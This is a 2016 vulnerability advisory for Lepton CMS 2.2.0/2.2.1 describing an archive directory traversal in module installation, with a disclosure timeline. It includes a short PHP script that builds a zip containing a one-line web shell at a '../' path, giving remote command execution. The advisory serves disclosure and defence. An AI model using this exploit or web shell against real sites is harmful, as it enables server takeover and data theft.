Lepton CMS 2.2.0/2.2.1 - Directory Traversal









[+] Credits: John Page (HYP3RLINX)

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/LEPTON-ARCHIVE-DIRECTORY-TRAVERSAL.txt

[+] ISR: ApparitionSec


Lepton CMS 2.2.0 / 2.2.1 (update)

LEPTON is an easy-to-use but full customizable Content Management System (CMS).

Vulnerability Type:
Archive Directory Traversal 

CVE Reference:

Vulnerability Details:

Lepton has feature that lets users install new modules, if malicious user uploads an archive and the module is not valid it
will generate an error. However, the malicious archive will still get decompressed and no check is made for ../ characters in
the file name allowing in arbitrary PHP files to be placed outside the intended target directory for installed modules. This can
then be used to execute remote commands on the affected host system. 


We get error message as below.

under "Add Ons" tab Install Module.
Invalid LEPTON installation file. Please check the *.zip format.[1]

Archive still gets decompressed and the malicious file is moved outside of the intended target directory, by using ../ in file name.

Exploit code(s):

#Archive Directory Traversal to RCE exploit 

if($argc<2){echo "Usage: <filename>";exit();}

$zip = new ZipArchive();
$res = $zip->open("$file_name.zip", ZipArchive::CREATE);
$zip->addFromString("..\..\..\..\..\..\..\..\RCE.php", '<?php exec($_GET["cmd"]); ?>');

echo "Malicious archive created...\r\n";
echo "========= hyp3rlinx ============";

Disclosure Timeline:
Attempted Vendor Notification: June 11, 2016 (No replies)
Vendor Notification on July 12, 2016 ( thanks Henri Salo )
Vendor Acknowledgement: July 13, 2016
Vendor fixes: July 14, 2016
Vendor release version 2.2.2 : August 12, 2016
August 15, 2016  : Public Disclosure

Exploitation Technique:

Severity Level:

[+] Disclaimer
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Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.